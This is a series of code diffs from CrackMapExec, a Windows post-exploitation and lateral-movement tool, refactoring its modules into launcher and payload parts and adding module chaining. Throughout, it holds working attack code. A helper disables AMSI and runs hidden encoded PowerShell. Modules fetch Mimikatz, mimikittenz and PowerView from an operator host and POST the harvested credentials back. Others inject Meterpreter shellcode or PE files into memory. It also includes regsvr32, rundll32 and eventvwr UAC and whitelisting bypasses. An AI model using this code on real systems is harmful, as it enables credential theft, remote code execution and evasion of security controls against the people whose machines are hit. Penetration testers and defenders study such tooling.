except IOError:
sleep(2)
def finish(self):
# Just in case the service is still created

View File

@ -1,4 +1,5 @@
import ntpath, logging
import os
from gevent import sleep
from cme.helpers import gen_random_string
@ -7,7 +8,7 @@ from impacket.dcerpc.v5.dcom import wmi
from impacket.dcerpc.v5.dtypes import NULL
class WMIEXEC:
def __init__(self, target, username, password, domain, smbconnection, hashes=None, share=None):
def __init__(self, target, share_name, username, password, domain, smbconnection, hashes=None, share=None):
self.__target = target
self.__username = username
self.__password = password
@ -18,6 +19,7 @@ class WMIEXEC:
self.__smbconnection = smbconnection
self.__output = None
self.__outputBuffer = ''
self.__share_name = share_name
self.__shell = 'cmd.exe /Q /c '
self.__pwd = 'C:\\'
self.__aesKey = None
@ -46,9 +48,8 @@ class WMIEXEC:
self.__retOutput = output
if self.__retOutput:
self.__smbconnection.setTimeout(100000)
self.cd('\\')
self.execute_remote(command)
self.execute_handler(command)
self.__dcom.disconnect()
return self.__outputBuffer
@ -62,7 +63,20 @@ class WMIEXEC:
self.execute_remote('cd ')
self.__pwd = self.__outputBuffer.strip('\r\n')
self.__outputBuffer = ''
def output_callback(self, data):
self.__outputBuffer += data
def execute_handler(self, data):
if self.__retOutput:
try:
self.execute_fileless(data)
except:
self.cd('\\')
self.execute_remote(data)
else:
self.execute_remote(data)
def execute_remote(self, data):
self.__output = '\\Windows\\Temp\\' + gen_random_string(6)
@ -72,20 +86,35 @@ class WMIEXEC:
logging.debug('Executing command: ' + command)
self.__win32Process.Create(command, self.__pwd, None)
self.get_output()
self.get_output_remote()
def get_output(self):
def execute_fileless(self, data):
self.__output = gen_random_string(6)
local_ip = self.__smbconnection.getSMBServer().get_socket().getsockname()[0]
command = self.__shell + data + ' 1> \\\\{}\\{}\\{} 2>&1'.format(local_ip, self.__share_name, self.__output)
logging.debug('Executing command: ' + command)
self.__win32Process.Create(command, self.__pwd, None)
self.get_output_fileless()
def get_output_fileless(self):
while True:
try:
with open(os.path.join('/tmp', 'cme_hosted', self.__output), 'r') as output:
self.output_callback(output.read())
break
except IOError:
sleep(2)
def get_output_remote(self):
if self.__retOutput is False:
self.__outputBuffer = ''
return
def output_callback(data):
self.__outputBuffer += data
while True:
try:
self.__smbconnection.getFile(self.__share, self.__output, output_callback)
self.__smbconnection.getFile(self.__share, self.__output, self.output_callback)
break
except Exception as e:
if str(e).find('STATUS_SHARING_VIOLATION') >=0:
@ -96,4 +125,4 @@ class WMIEXEC:
#print str(e)
pass
self.__smbconnection.deleteFile(self.__share, self.__output)
self.__smbconnection.deleteFile(self.__share, self.__output)

View File

@ -6,12 +6,16 @@ from subprocess import check_output, PIPE
from sys import exit
CME_PATH = os.path.expanduser('~/.cme')
TMP_PATH = os.path.join('/tmp', 'cme_hosted')
DB_PATH = os.path.join(CME_PATH, 'cme.db')
CERT_PATH = os.path.join(CME_PATH, 'cme.pem')
CONFIG_PATH = os.path.join(CME_PATH, 'cme.conf')
def first_run_setup(logger):
if not os.path.exists(TMP_PATH):
os.mkdir(TMP_PATH)
if not os.path.exists(CME_PATH):
logger.info('First time use detected')
logger.info('Creating home directory structure')

View File

@ -25,25 +25,18 @@ def write_log(data, log_name):
with open(os.path.join(logs_dir, log_name), 'w') as mimikatz_output:
mimikatz_output.write(data)
def obfs_ps_script(script, function_name=None):
def obfs_ps_script(script):
"""
Strip block comments, line comments, empty lines, verbose statements,
and debug statements from a PowerShell source file.
If the function_name paramater is passed, replace the main powershell function name with it
"""
if function_name:
function_line = script.split('\n', 1)[0]
if function_line.find('function') != -1:
script = re.sub('-.*', '-{}\r'.format(function_name), script, count=1)
# strip block comments
strippedCode = re.sub(re.compile('<#.*?#>', re.DOTALL), '', script)
# strip blank lines, lines starting with #, and verbose/debug statements
strippedCode = "\n".join([line for line in strippedCode.split('\n') if ((line.strip() != '') and (not line.strip().startswith("#")) and (not line.strip().lower().startswith("write-verbose ")) and (not line.strip().lower().startswith("write-debug ")) )])
return strippedCode
def create_ps_command(ps_command, force_ps32=False):
def create_ps_command(ps_command, force_ps32=False, nothidden=False):
ps_command = """[Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};
try{{
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed', 'NonPublic,Static').SetValue($null, $true)
@ -68,11 +61,17 @@ else
IEX $exec
}}""".format(b64encode(ps_command.encode('UTF-16LE')))
command = 'powershell.exe -exec bypass -window hidden -noni -nop -encoded {}'.format(b64encode(command.encode('UTF-16LE')))
if nothidden is True:
command = 'powershell.exe -exec bypass -window maximized -encoded {}'.format(b64encode(command.encode('UTF-16LE')))
else:
command = 'powershell.exe -exec bypass -window hidden -noni -nop -encoded {}'.format(b64encode(command.encode('UTF-16LE')))
elif not force_ps32:
command = 'powershell.exe -exec bypass -window hidden -noni -nop -encoded {}'.format(b64encode(ps_command.encode('UTF-16LE')))
if nothidden is True:
command = 'powershell.exe -exec bypass -window maximized -encoded {}'.format(b64encode(ps_command.encode('UTF-16LE')))
else:
command = 'powershell.exe -exec bypass -window hidden -noni -nop -encoded {}'.format(b64encode(ps_command.encode('UTF-16LE')))
return command

81
cme/modulechainloader.py Normal file
View File

@ -0,0 +1,81 @@
import imp
import os
import sys
import cme
from logging import getLogger
from cme.context import Context
from cme.logger import CMEAdapter
from cme.cmechainserver import CMEChainServer
from cme.moduleloader import ModuleLoader
class ModuleChainLoader(ModuleLoader):
def __init__(self, args, db, logger):
ModuleLoader.__init__(self, args, db, logger)
self.chain_list = []
#This parses the chain command
for module in self.args.module_chain.split('=>'):
if '[' in module:
module_name = module.split('[')[0]
module_options = module.split('[')[1][:-1]
module_dict = {'name': module_name}
module_dict['options'] = {}
for option in module_options.split(';;'):
key, value = option.split('=', 1)
if value[:1] == ('"' or "'") and value[-1:] == ('"' or "'"):
value = value[1:-1]
module_dict['options'][str(key).upper()] = value
self.chain_list.append(module_dict)
else:
module_dict = {'name': module}
module_dict['options'] = {}
self.chain_list.append(module_dict)
def is_module_chain_sane(self):
last_module = self.chain_list[-1]['name']
#Confirm that every chained module (except for the last one) actually supports chaining
for module in self.chain_list:
if module['name'] == last_module:
continue
module_object = module['object']
if getattr(module_object, 'chain_support') is not True:
return False
return True
def init_module_chain(self):
modules = self.get_modules()
#Initialize all modules specified in the chain command and add the objects to chain_list
for chained_module in self.chain_list:
for module in modules:
if module.lower() == chained_module['name'].lower():
chained_module['object'] = self.load_module(modules[module]['path'])
for module in self.chain_list:
module_logger = CMEAdapter(getLogger('CME'), {'module': module['name'].upper()})
context = Context(self.db, module_logger, self.args)
if module['object'] != self.chain_list[-1]['object']: module['options']['COMMAND'] = 'dont notice me senpai'
getattr(module['object'], 'options')(context, module['options'])
if self.is_module_chain_sane():
server_logger = CMEAdapter(getLogger('CME'), {'module': 'CMESERVER'})
context = Context(self.db, server_logger, self.args)
server = CMEChainServer(self.chain_list, context, self.logger, self.args.server_host, self.args.server_port, self.args.server)
server.start()
return self.chain_list, server
return None, None

View File

@ -13,7 +13,6 @@ class ModuleLoader:
self.args = args
self.db = db
self.logger = logger
self.server_port = args.server_port
self.cme_path = os.path.expanduser('~/.cme')
def module_is_sane(self, module, module_path):
@ -25,12 +24,24 @@ class ModuleLoader:
elif not hasattr(module, 'description'):
self.logger.error('{} missing the description variable'.format(module_path))
module_error = True
elif not hasattr(module, 'chain_support'):
self.logger.error('{} missing the chain_support variable'.format(module_path))
module_error = True
elif not hasattr(module, 'options'):
self.logger.error('{} missing the options function'.format(module_path))
module_error = True
elif not hasattr(module, 'launcher'):
self.logger.error('{} missing the launcher function'.format(module_path))
module_error = True
elif not hasattr(module, 'payload'):
self.logger.error('{} missing the payload function'.format(module_path))
module_error = True
elif not hasattr(module, 'on_login') and not (module, 'on_admin_login'):
self.logger.error('{} missing the on_login/on_admin_login function(s)'.format(module_path))
module_error = True
@ -38,7 +49,7 @@ class ModuleLoader:
if module_error: return False
return True
def load_module(self, module_path):
module = imp.load_source('payload_module', module_path).CMEModule()
if self.module_is_sane(module, module_path):
@ -57,7 +68,7 @@ class ModuleLoader:
module_path = os.path.join(path, module)
m = self.load_module(os.path.join(path, module))
if m:
modules[m.name] = {'path': os.path.join(path, module), 'description': m.description, 'options': m.options.__doc__}
modules[m.name] = {'path': os.path.join(path, module), 'description': m.description, 'options': m.options.__doc__, 'chain_support': m.chain_support}
return modules
@ -84,12 +95,9 @@ class ModuleLoader:
if hasattr(module, 'on_request') or hasattr(module, 'has_response'):
if hasattr(module, 'required_server'):
args.server = getattr(module, 'required_server')
self.args.server = getattr(module, 'required_server')
if not self.server_port:
self. server_port = self.args.server_port
server = CMEServer(module, context, self.logger, self.args.server_host, self.server_port, self.args.server)
server = CMEServer(module, context, self.logger, self.args.server_host, self.args.server_port, self.args.server)
server.start()
return module, context, server

View File

@ -5,7 +5,7 @@ import os
class CMEModule:
'''
Executes a command using a COM scriptlet to bypass whitelisting
Executes a command using a COM scriptlet to bypass whitelisting (a.k.a squiblydoo)
Based on the awesome research by @subtee
@ -13,53 +13,49 @@ class CMEModule:
http://subt0x10.blogspot.com/2016/04/bypass-application-whitelisting-script.html
'''
name='com_exec'
name='com_exec' #Really tempted just to call this squiblydoo
description = 'Executes a command using a COM scriptlet to bypass whitelisting'
required_server='http'
chain_support = True
def options(self, context, module_options):
'''
CMD Command to execute on the target system(s) (Required if CMDFILE isn't specified)
COMMAND Command to execute on the target system(s) (Required if CMDFILE isn't specified)
CMDFILE File contaning the command to execute on the target system(s) (Required if CMD isn't specified)
'''
if not 'CMD' in module_options and not 'CMDFILE' in module_options:
context.log.error('CMD or CMDFILE options are required!')
sys.exit(1)
if not 'COMMAND' in module_options and not 'CMDFILE' in module_options:
context.log.error('COMMAND or CMDFILE options are required!')
exit(1)
if 'CMD' in module_options and 'CMDFILE' in module_options:
context.log.error('CMD and CMDFILE are mutually exclusive!')
sys.exit(1)
if 'COMMAND' in module_options and 'CMDFILE' in module_options:
context.log.error('COMMAND and CMDFILE are mutually exclusive!')
exit(1)
if 'CMD' in module_options:
self.command = module_options['CMD']
if 'COMMAND' in module_options:
self.command = module_options['COMMAND']
elif 'CMDFILE' in module_options:
path = os.path.expanduser(module_options['CMDFILE'])
if not os.path.exists(path):
context.log.error('Path to CMDFILE invalid!')
sys.exit(1)
exit(1)
with open(path, 'r') as cmdfile:
self.command = cmdfile.read().strip()
self.sct_name = gen_random_string(5)
def on_admin_login(self, context, connection):
command = 'regsvr32.exe /u /n /s /i:http://{}/{}.sct scrobj.dll'.format(context.localip, self.sct_name)
connection.execute(command)
context.log.success('Executed command')
def on_request(self, context, request):
if '{}.sct'.format(self.sct_name) in request.path[1:]:
request.send_response(200)
request.end_headers()
com_script = '''<?XML version="1.0"?>
def launcher(self, context, command):
launcher = 'regsvr32.exe /u /n /s /i:http://{}/{}.sct scrobj.dll'.format(context.localip, self.sct_name)
return launcher
def payload(self, context, command):
payload = '''<?XML version="1.0"?>
<scriptlet>
<registration
description="Win32COMDebug"
@ -69,18 +65,31 @@ class CMEModule:
>
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("{}");
var r = new ActiveXObject("WScript.Shell").Run('{}');
]]>
</script>
</registration>
<public>
<method name="Exec"></method>
</public>
</scriptlet>'''.format(self.command)
</scriptlet>'''.format(command)
request.wfile.write(com_script)
context.log.debug('Generated payload:\n' + payload)
return payload
def on_admin_login(self, context, connection, launcher, payload):
connection.execute(launcher)
context.log.success('Executed squiblydoo')
def on_request(self, context, request, launcher, payload):
if '{}.sct'.format(self.sct_name) in request.path[1:]:
request.send_response(200)
request.end_headers()
request.wfile.write(payload)
request.stop_tracking_host()
else:
request.send_response(404)
request.end_headers()
request.end_headers()

View File

@ -16,6 +16,8 @@ class CMEModule:
description = "Uses Empire's RESTful API to generate a launcher for the specified listener and executes it"
chain_support = False
def options(self, context, module_options):
'''
LISTENER Listener name to generate the launcher for
@ -54,7 +56,12 @@ class CMEModule:
context.log.error("Unable to connect to Empire's RESTful API: {}".format(e))
sys.exit(1)
def on_admin_login(self, context, connection):
if self.empire_launcher:
connection.execute(self.empire_launcher)
context.log.success('Executed Empire Launcher')
def launcher(self, context, command):
return self.empire_launcher
def payload(self, context, command):
return
def on_admin_login(self, context, connection, launcher, payload):
connection.execute(launcher)
context.log.success('Executed Empire Launcher')

View File

@ -1,4 +1,4 @@
from cme.helpers import create_ps_command, get_ps_script, obfs_ps_script, gen_random_string, validate_ntlm, write_log
from cme.helpers import create_ps_command, get_ps_script, obfs_ps_script, validate_ntlm, write_log
from datetime import datetime
from StringIO import StringIO
import re
@ -13,13 +13,14 @@ class CMEModule:
description = "Uses Powersploit's Invoke-Mimikatz.ps1 script to decrypt saved Chrome passwords"
chain_support = False
def options(self, context, module_options):
'''
'''
return
self.obfs_name = gen_random_string()
def on_admin_login(self, context, connection):
def launcher(self, context, command):
'''
Oook.. Think my heads going to explode
@ -30,7 +31,7 @@ class CMEModule:
As far as I can figure out there is no way around this, hence we have to first copy Chrome's database to a path without any spaces and then decrypt the entries with Mimikatz
'''
payload = '''
launcher = '''
$cmd = "privilege::debug sekurlsa::dpapi"
$userdirs = get-childitem "$Env:SystemDrive\Users"
foreach ($dir in $userdirs) {{
@ -47,7 +48,7 @@ class CMEModule:
$cmd = $cmd + " exit"
IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/Invoke-Mimikatz.ps1');
$creds = Invoke-{func_name} -Command $cmd;
$creds = Invoke-Mimikatz -Command $cmd;
$request = [System.Net.WebRequest]::Create('{server}://{addr}:{port}/');
$request.Method = 'POST';
$request.ContentType = 'application/x-www-form-urlencoded';
@ -58,15 +59,19 @@ class CMEModule:
$requestStream.Close();
$request.GetResponse();'''.format(server=context.server,
port=context.server_port,
addr=context.localip,
func_name=self.obfs_name)
addr=context.localip)
context.log.debug('Payload: {}'.format(payload))
payload = create_ps_command(payload)
connection.execute(payload, methods=['atexec', 'smbexec'])
context.log.success('Executed payload')
return create_ps_command(launcher)
def on_request(self, context, request):
def payload(self, context, command):
with open(get_ps_script('Invoke-Mimikatz.ps1'), 'r') as ps_script:
return obfs_ps_script(ps_script.read())
def on_admin_login(self, context, connection, launcher, payload):
connection.execute(launcher, methods=['atexec', 'smbexec'])
context.log.success('Executed launcher')
def on_request(self, context, request, launcher, payload):
if 'Invoke-Mimikatz.ps1' == request.path[1:]:
request.send_response(200)
request.end_headers()
@ -79,9 +84,7 @@ class CMEModule:
Here we call the updated PowerShell script instead of PowerSploits version
'''
with open(get_ps_script('Invoke-Mimikatz.ps1'), 'r') as ps_script:
ps_script = obfs_ps_script(ps_script.read(), self.obfs_name)
request.wfile.write(ps_script)
request.wfile.write(payload)
else:
request.send_response(404)

View File

@ -0,0 +1,76 @@
from cme.helpers import create_ps_command, get_ps_script
from sys import exit
class CMEModule:
'''
Executes a command using the the eventvwr.exe fileless UAC bypass
Powershell script and vuln discovery by Matt Nelson (@enigma0x3)
module by @byt3bl33d3r
'''
name = 'eventvwr_bypass'
description = 'Executes a command using the eventvwr.exe fileless UAC bypass'
chain_support = True
def options(self, context, module_options):
'''
COMMAND Command to execute on the target system(s) (Required if CMDFILE isn't specified)
CMDFILE File contaning the command to execute on the target system(s) (Required if CMD isn't specified)
'''
if not 'COMMAND' in module_options and not 'CMDFILE' in module_options:
context.log.error('COMMAND or CMDFILE options are required!')
exit(1)
if 'COMMAND' in module_options and 'CMDFILE' in module_options:
context.log.error('COMMAND and CMDFILE are mutually exclusive!')
exit(1)
if 'COMMAND' in module_options:
self.command = module_options['COMMAND']
elif 'CMDFILE' in module_options:
path = os.path.expanduser(module_options['CMDFILE'])
if not os.path.exists(path):
context.log.error('Path to CMDFILE invalid!')
exit(1)
with open(path, 'r') as cmdfile:
self.command = cmdfile.read().strip()
def launcher(self, context, command):
launcher = '''
IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/Invoke-EventVwrBypass.ps1');
Invoke-EventVwrBypass -Force -Command "cmd.exe /c {command}";
'''.format(server=context.server,
addr=context.localip,
port=context.server_port,
command=command)
return create_ps_command(launcher)
def payload(self, context, command):
with open(get_ps_script('Invoke-EventVwrBypass.ps1'), 'r') as ps_script:
return ps_script.read()
def on_admin_login(self, context, connection, launcher, payload):
connection.execute(launcher)
context.log.success('Executed launcher')
def on_request(self, context, request, launcher, payload):
if request.path[1:] == 'Invoke-EventVwrBypass.ps1':
request.send_response(200)
request.end_headers()
request.wfile.write(payload)
request.stop_tracking_host()
else:
request.send_response(404)
request.end_headers()

View File

@ -9,19 +9,30 @@ class CMEModule:
description = 'Something Something'
#If the module supports chaining, change this to True
chain_support = False
def options(self, context, module_options):
'''Required. Module options get parsed here. Additionally, put the modules usage here as well'''
pass
def launcher(self, context, command):
'''Required. Generate your launcher here'''
pass
def payload(self, context, command):
'''Required. Generate your payload here'''
pass
def on_login(self, context, connection):
'''Concurrent. Required if on_admin_login is not present. This gets called on each authenticated connection'''
pass
def on_admin_login(self, context, connection):
def on_admin_login(self, context, connection, launcher, payload):
'''Concurrent. Required if on_login is not present. This gets called on each authenticated connection with Administrative privileges'''
pass
def on_request(self, context, request):
def on_request(self, context, request, launcher, payload):
'''Optional. If the payload needs to retrieve additonal files, add this function to the module'''
pass

View File

@ -1,4 +1,4 @@
from cme.helpers import gen_random_string, create_ps_command, obfs_ps_script, get_ps_script
from cme.helpers import create_ps_command, obfs_ps_script, get_ps_script
from sys import exit
class CMEModule:
@ -6,10 +6,12 @@ class CMEModule:
Downloads the Meterpreter stager and injects it into memory using PowerSploit's Invoke-Shellcode.ps1 script
Module by @byt3bl33d3r
'''
name = 'metinject'
name = 'met_inject'
description = "Downloads the Meterpreter stager and injects it into memory using PowerSploit's Invoke-Shellcode.ps1 script"
chain_support = False
def options(self, context, module_options):
'''
LHOST IP hosting the handler
@ -35,13 +37,13 @@ class CMEModule:
self.lhost = module_options['LHOST']
self.lport = module_options['LPORT']
self.obfs_name = gen_random_string()
def on_admin_login(self, context, connection):
def launcher(self, context, command):
#PowerSploit's 3.0 update removed the Meterpreter injection options in Invoke-Shellcode
#so now we have to manually generate a valid Meterpreter request URL and download + exec the staged shellcode
payload = """
launcher = """
IEX (New-Object Net.WebClient).DownloadString('{}://{}:{}/Invoke-Shellcode.ps1')
$CharArray = 48..57 + 65..90 + 97..122 | ForEach-Object {{[Char]$_}}
$SumTest = $False
@ -54,30 +56,32 @@ class CMEModule:
$Request = "{}://{}:{}/$($RequestUri)"
$WebClient = New-Object System.Net.WebClient
[Byte[]]$bytes = $WebClient.DownloadData($Request)
Invoke-{} -Force -Shellcode $bytes""".format(context.server,
Invoke-Shellcode -Force -Shellcode $bytes""".format(context.server,
context.localip,
context.server_port,
'http' if self.met_payload == 'reverse_http' else 'https',
self.lhost,
self.lport,
self.obfs_name)
self.lport)
if self.procid:
payload += " -ProcessID {}".format(self.procid)
launcher += " -ProcessID {}".format(self.procid)
context.log.debug('Payload:{}'.format(payload))
payload = create_ps_command(payload, force_ps32=True)
connection.execute(payload)
context.log.success('Executed payload')
return create_ps_command(launcher, force_ps32=True)
def on_request(self, context, request):
def payload(self, context, command):
with open(get_ps_script('PowerSploit/CodeExecution/Invoke-Shellcode.ps1'), 'r') as ps_script:
return obfs_ps_script(ps_script.read())
def on_admin_login(self, context, connection, launcher, payload):
connection.execute(launcher)
context.log.success('Executed launcher')
def on_request(self, context, request, launcher, payload):
if 'Invoke-Shellcode.ps1' == request.path[1:]:
request.send_response(200)
request.end_headers()
with open(get_ps_script('PowerSploit/CodeExecution/Invoke-Shellcode.ps1'), 'r') as ps_script:
ps_script = obfs_ps_script(ps_script.read(), self.obfs_name)
request.wfile.write(ps_script)
request.wfile.write(payload)
request.stop_tracking_host()

View File

@ -1,4 +1,4 @@
from cme.helpers import create_ps_command, get_ps_script, obfs_ps_script, gen_random_string, validate_ntlm, write_log
from cme.helpers import create_ps_command, get_ps_script, obfs_ps_script, validate_ntlm, write_log
from datetime import datetime
import re
@ -12,25 +12,24 @@ class CMEModule:
description = "Executes PowerSploit's Invoke-Mimikatz.ps1 script"
chain_support = False
def options(self, context, module_options):
'''
COMMAND Mimikatz command to execute (default: 'sekurlsa::logonpasswords')
'''
self.mimikatz_command = 'privilege::debug sekurlsa::logonpasswords exit'
self.command = 'privilege::debug sekurlsa::logonpasswords exit'
if module_options and 'COMMAND' in module_options:
self.mimikatz_command = module_options['COMMAND']
self.command = module_options['COMMAND']
#context.log.debug("Mimikatz command: '{}'".format(self.mimikatz_command))
self.obfs_name = gen_random_string()
def on_admin_login(self, context, connection):
payload = '''
def launcher(self, context, command):
launcher = '''
IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/Invoke-Mimikatz.ps1');
$creds = Invoke-{func_name} -Command '{command}';
$creds = Invoke-Mimikatz -Command '{command}';
$request = [System.Net.WebRequest]::Create('{server}://{addr}:{port}/');
$request.Method = 'POST';
$request.ContentType = 'application/x-www-form-urlencoded';
@ -42,22 +41,24 @@ class CMEModule:
$request.GetResponse();'''.format(server=context.server,
port=context.server_port,
addr=context.localip,
func_name=self.obfs_name,
command=self.mimikatz_command)
command=command)
return create_ps_command(launcher)
context.log.debug('Payload: {}'.format(payload))
payload = create_ps_command(payload)
connection.execute(payload)
context.log.success('Executed payload')
def payload(self, context, command):
with open(get_ps_script('Invoke-Mimikatz.ps1'), 'r') as ps_script:
return obfs_ps_script(ps_script.read())
def on_request(self, context, request):
def on_admin_login(self, context, connection, launcher, payload):
connection.execute(launcher)
context.log.success('Executed launcher')
def on_request(self, context, request, launcher, payload):
if 'Invoke-Mimikatz.ps1' == request.path[1:]:
request.send_response(200)
request.end_headers()
with open(get_ps_script('Invoke-Mimikatz.ps1'), 'r') as ps_script:
ps_script = obfs_ps_script(ps_script.read(), self.obfs_name)
request.wfile.write(ps_script)
request.wfile.write(payload)
else:
request.send_response(404)

View File

@ -1,4 +1,4 @@
from cme.helpers import create_ps_command, obfs_ps_script, get_ps_script, write_log, gen_random_string
from cme.helpers import create_ps_command, obfs_ps_script, get_ps_script, write_log
from StringIO import StringIO
from datetime import datetime
from sys import exit
@ -13,17 +13,17 @@ class CMEModule:
description = "Executes Mimikittenz"
chain_support = False
def options(self, context, module_options):
'''
'''
return
self.obfs_name = gen_random_string()
def on_admin_login(self, context, connection):
payload = '''
def launcher(self, context, command):
launcher = '''
IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/Invoke-mimikittenz.ps1');
$data = Invoke-{command};
$data = Invoke-Mimikittenz;
$request = [System.Net.WebRequest]::Create('{server}://{addr}:{port}/');
$request.Method = 'POST';
$request.ContentType = 'application/x-www-form-urlencoded';
@ -34,22 +34,24 @@ class CMEModule:
$requestStream.Close();
$request.GetResponse();'''.format(server=context.server,
port=context.server_port,
addr=context.localip,
command=self.obfs_name)
addr=context.localip)
context.log.debug('Payload: {}'.format(payload))
payload = create_ps_command(payload)
connection.execute(payload)
context.log.success('Executed payload')
return create_ps_command(launcher)
def on_request(self, context, request):
def payload(self, context, command):
with open(get_ps_script('mimikittenz/Invoke-mimikittenz.ps1'), 'r') as ps_script:
return obfs_ps_script(ps_script.read())
def on_admin_login(self, context, connection, launcher, payload):
connection.execute(launcher)
context.log.success('Executed launcher')
def on_request(self, context, request, launcher, payload):
if 'Invoke-mimikittenz.ps1' == request.path[1:]:
request.send_response(200)
request.end_headers()
with open(get_ps_script('mimikittenz/Invoke-mimikittenz.ps1'), 'r') as ps_script:
ps_script = obfs_ps_script(ps_script.read(), function_name=self.obfs_name)
request.wfile.write(ps_script)
request.wfile.write(payload)
else:
request.send_response(404)

View File

@ -1,4 +1,4 @@
from cme.helpers import gen_random_string, create_ps_command, obfs_ps_script, get_ps_script
from cme.helpers import create_ps_command, obfs_ps_script, get_ps_script
from sys import exit
import os
@ -7,10 +7,12 @@ class CMEModule:
Downloads the specified DLL/EXE and injects it into memory using PowerSploit's Invoke-ReflectivePEInjection.ps1 script
Module by @byt3bl33d3r
'''
name = 'peinject'
name = 'pe_inject'
description = "Downloads the specified DLL/EXE and injects it into memory using PowerSploit's Invoke-ReflectivePEInjection.ps1 script"
chain_support = False
def options(self, context, module_options):
'''
PATH Path to dll/exe to inject
@ -36,39 +38,39 @@ class CMEModule:
if 'EXEARGS' in module_options:
self.exeargs = module_options['EXEARGS']
self.obfs_name = gen_random_string()
def on_admin_login(self, context, connection):
payload = """
def launcher(self, context, command):
launcher = """
IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/Invoke-ReflectivePEInjection.ps1');
$WebClient = New-Object System.Net.WebClient;
[Byte[]]$bytes = $WebClient.DownloadData('{server}://{addr}:{port}/{pefile}');
Invoke-{func_name} -PEBytes $bytes""".format(server=context.server,
Invoke-ReflectivePEInjection -PEBytes $bytes""".format(server=context.server,
port=context.server_port,
addr=context.localip,
func_name=self.obfs_name,
pefile=os.path.basename(self.payload_path))
if self.procid:
payload += ' -ProcessID {}'.format(self.procid)
launcher += ' -ProcessID {}'.format(self.procid)
if self.exeargs:
payload += ' -ExeArgs "{}"'.format(self.exeargs)
launcher += ' -ExeArgs "{}"'.format(self.exeargs)
context.log.debug('Payload:{}'.format(payload))
payload = create_ps_command(payload, force_ps32=True)
connection.execute(payload)
context.log.success('Executed payload')
return create_ps_command(launcher, force_ps32=True)
def on_request(self, context, request):
def payload(self, context, command):
with open(get_ps_script('PowerSploit/CodeExecution/Invoke-ReflectivePEInjection.ps1'), 'r') as ps_script:
return obfs_ps_script(ps_script.read())
def on_admin_login(self, context, connection, launcher, payload):
connection.execute(launcher)
context.log.success('Executed launcher')
def on_request(self, context, request, launcher, payload):
if 'Invoke-ReflectivePEInjection.ps1' == request.path[1:]:
request.send_response(200)
request.end_headers()
with open(get_ps_script('PowerSploit/CodeExecution/Invoke-ReflectivePEInjection.ps1'), 'r') as ps_script:
ps_script = obfs_ps_script(ps_script.read(), self.obfs_name)
request.wfile.write(ps_script)
request.wfile.write(launcher)
elif os.path.basename(self.payload_path) == request.path[1:]:
request.send_response(200)

View File

@ -13,24 +13,39 @@ class CMEModule:
description = "Wrapper for PowerView's functions"
chain_support = False
def options(self, context, module_options):
'''
COMMAND Powerview command to run
COMMAND Command to execute on the target system(s) (Required if CMDFILE isn't specified)
CMDFILE File contaning the command to execute on the target system(s) (Required if CMD isn't specified)
'''
self.command = None
if not 'COMMAND' in module_options:
context.log.error('COMMAND option is required!')
if not 'COMMAND' in module_options and not 'CMDFILE' in module_options:
context.log.error('COMMAND or CMDFILE options are required!')
exit(1)
if 'COMMAND' in module_options and 'CMDFILE' in module_options:
context.log.error('COMMAND and CMDFILE are mutually exclusive!')
exit(1)
if 'COMMAND' in module_options:
self.command = module_options['COMMAND']
def on_admin_login(self, context, connection):
elif 'CMDFILE' in module_options:
path = os.path.expanduser(module_options['CMDFILE'])
powah_command = self.command + ' | Out-String'
if not os.path.exists(path):
context.log.error('Path to CMDFILE invalid!')
exit(1)
payload = '''
with open(path, 'r') as cmdfile:
self.command = cmdfile.read().strip()
def launcher(self, context, command):
powah_command = command + ' | Out-String'
launcher = '''
IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/PowerView.ps1');
$data = {command}
$request = [System.Net.WebRequest]::Create('{server}://{addr}:{port}/');
@ -46,19 +61,22 @@ class CMEModule:
addr=context.localip,
command=powah_command)
context.log.debug('Payload: {}'.format(payload))
payload = create_ps_command(payload)
connection.execute(payload, methods=['atexec', 'smbexec'])
context.log.success('Executed payload')
return create_ps_command(launcher)
def payload(self, context, command):
with open(get_ps_script('PowerSploit/Recon/PowerView.ps1'), 'r') as ps_script:
return obfs_ps_script(ps_script.read())
def on_admin_login(self, context, connection, launcher, payload):
connection.execute(launcher, methods=['atexec', 'smbexec'])
context.log.success('Executed launcher')
def on_request(self, context, request):
if 'PowerView.ps1' == request.path[1:]:
request.send_response(200)
request.end_headers()
with open(get_ps_script('PowerSploit/Recon/PowerView.ps1'), 'r') as ps_script:
ps_script = obfs_ps_script(ps_script.read())
request.wfile.write(ps_script)
request.wfile.write(ps_script)
else:
request.send_response(404)

View File

@ -0,0 +1,51 @@
class CMEModule:
'''
AppLocker bypass using rundll32 and Windows native javascript interpreter
Module by @byt3bl33d3r
'''
name = 'rundll32_exec'
description = 'Executes a command using rundll32 and Windows\'s native javascript interpreter'
#If the module supports chaining, change this to True
chain_support = True
def options(self, context, module_options):
'''
COMMAND Command to execute on the target system(s) (Required if CMDFILE isn't specified)
CMDFILE File contaning the command to execute on the target system(s) (Required if CMD isn't specified)
'''
if not 'COMMAND' in module_options and not 'CMDFILE' in module_options:
context.log.error('COMMAND or CMDFILE options are required!')
exit(1)
if 'COMMAND' in module_options and 'CMDFILE' in module_options:
context.log.error('COMMAND and CMDFILE are mutually exclusive!')
exit(1)
if 'COMMAND' in module_options:
self.command = module_options['COMMAND']
elif 'CMDFILE' in module_options:
path = os.path.expanduser(module_options['CMDFILE'])
if not os.path.exists(path):
context.log.error('Path to CMDFILE invalid!')
exit(1)
with open(path, 'r') as cmdfile:
self.command = cmdfile.read().strip()
def launcher(self, context, command):
launcher = 'rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("{}");'.format(command)
return launcher
def payload(self, context, command):
return
def on_admin_login(self, context, connection, launcher, payload):
connection.execute(launcher)
context.log.success('Executed command')

View File

@ -1,16 +1,18 @@
import os
from cme.helpers import gen_random_string, create_ps_command, obfs_ps_script, get_ps_script
from cme.helpers import create_ps_command, obfs_ps_script, get_ps_script
from sys import exit
import os
class CMEModule:
'''
Downloads the specified raw shellcode and injects it into memory using PowerSploit's Invoke-Shellcode.ps1 script
Module by @byt3bl33d3r
'''
name = 'shellinject'
name = 'shellcode_inject'
